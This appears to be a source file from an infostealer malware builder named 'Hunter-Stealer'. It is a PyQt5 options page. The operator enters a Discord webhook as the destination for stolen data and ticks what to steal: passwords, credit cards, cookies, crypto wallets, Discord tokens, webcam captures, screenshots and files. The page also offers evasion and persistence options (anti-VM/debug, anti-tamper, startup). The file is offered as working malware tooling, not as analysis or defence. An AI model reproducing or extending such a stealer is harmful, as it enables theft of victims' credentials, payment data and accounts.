Files
Hunter-Stealer/src/pages/options_page.py
T
2025-12-02 13:13:41 -03:00

152 lines
4.8 KiB
Python

import re
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QLabel,
QCheckBox, QGroupBox, QScrollArea, QLineEdit, QPushButton
)
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QFont
from src.styles import webhook_group_style, SCROLL_STYLE
from src.pages.message_box import CustomMessageBox
from src.functions.tools import Tools
class OptionsPage(QWidget):
def __init__(self):
super().__init__()
self.init_ui()
def init_ui(self):
main_layout = QVBoxLayout()
main_layout.setContentsMargins(30, 30, 30, 30)
title = QLabel("Stealer Configuration")
title.setFont(QFont("Segoe UI", 18, QFont.Bold))
title.setStyleSheet("color: #ff4444; margin-bottom: 10px;")
webhook_group = QGroupBox("Webhook Configuration")
webhook_group.setStyleSheet(webhook_group_style)
webhook_layout = QHBoxLayout()
webhook_layout.setContentsMargins(15, 20, 15, 15)
self.webhook_input = QLineEdit()
self.webhook_input.setPlaceholderText("Enter webhook URL...")
self.webhook_input.setMinimumHeight(35)
test_btn = QPushButton("verify")
test_btn.setObjectName("testButton")
test_btn.setFixedSize(80, 35)
test_btn.clicked.connect(self.check_webhook)
webhook_layout.addWidget(self.webhook_input)
webhook_layout.addWidget(test_btn)
webhook_group.setLayout(webhook_layout)
scroll = QScrollArea()
scroll.setWidgetResizable(True)
scroll.setStyleSheet(SCROLL_STYLE)
scroll_content = QWidget()
scroll_layout = QVBoxLayout()
scroll_layout.setSpacing(20)
stealer_group = self.create_checkbox_group(
"Stealer Options",
[
"System Info", "Credit Cards",
"Game Launchers", "Passwords", "Extensions",
"Wallets", "Cookies", "Files",
"Apps", "History", "Webcam",
"Roblox Cookies", "Downloads", "Screenshot",
"Discord Tokens"
]
)
malware_group = self.create_checkbox_group(
"Malware Options",
[
"Anti VM/Debug",
"Anti-Tamper",
"Startup",
]
)
scroll_layout.addWidget(stealer_group)
scroll_layout.addWidget(malware_group)
scroll_layout.addStretch()
scroll_content.setLayout(scroll_layout)
scroll.setWidget(scroll_content)
main_layout.addWidget(title)
main_layout.addWidget(webhook_group)
main_layout.addWidget(scroll)
self.setLayout(main_layout)
def create_checkbox_group(self, title, options):
group = QGroupBox(title)
group.checkboxes = []
group.setStyleSheet("""
QGroupBox {
font-size: 14px;
font-weight: bold;
color: #ff4444;
border: 1px solid #2a2a2a;
border-radius: 6px;
margin-top: 10px;
padding-top: 15px;
}
QGroupBox::title {
subcontrol-origin: margin;
left: 10px;
padding: 0 5px;
}
""")
layout = QVBoxLayout()
layout.setContentsMargins(15, 20, 15, 15)
layout.setSpacing(12)
grid_layout = QHBoxLayout()
columns = [QVBoxLayout() for _ in range(3)]
for i, option in enumerate(options):
checkbox = QCheckBox(option)
group.checkboxes.append(checkbox)
columns[i % 3].addWidget(checkbox)
for col in columns:
col.addStretch()
grid_layout.addLayout(col)
layout.addLayout(grid_layout)
group.setLayout(layout)
return group
def get_selected_options(self):
selected = []
for group in self.findChildren(QGroupBox):
if hasattr(group, "checkboxes"):
for cb in group.checkboxes:
if cb.isChecked():
selected.append(cb.text())
return selected
def check_webhook(self):
webhook_url = self.webhook_input.text().strip()
pattern = r"^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]+$"
if not re.match(pattern, webhook_url):
box = CustomMessageBox("😈", "Error", "Invalid Discord Webhook!")
box.show()
return
r = Tools.send_webhook(webhook_url)
if r[0]:
box = CustomMessageBox("😈", "Successfully", r[1])
box.show()
return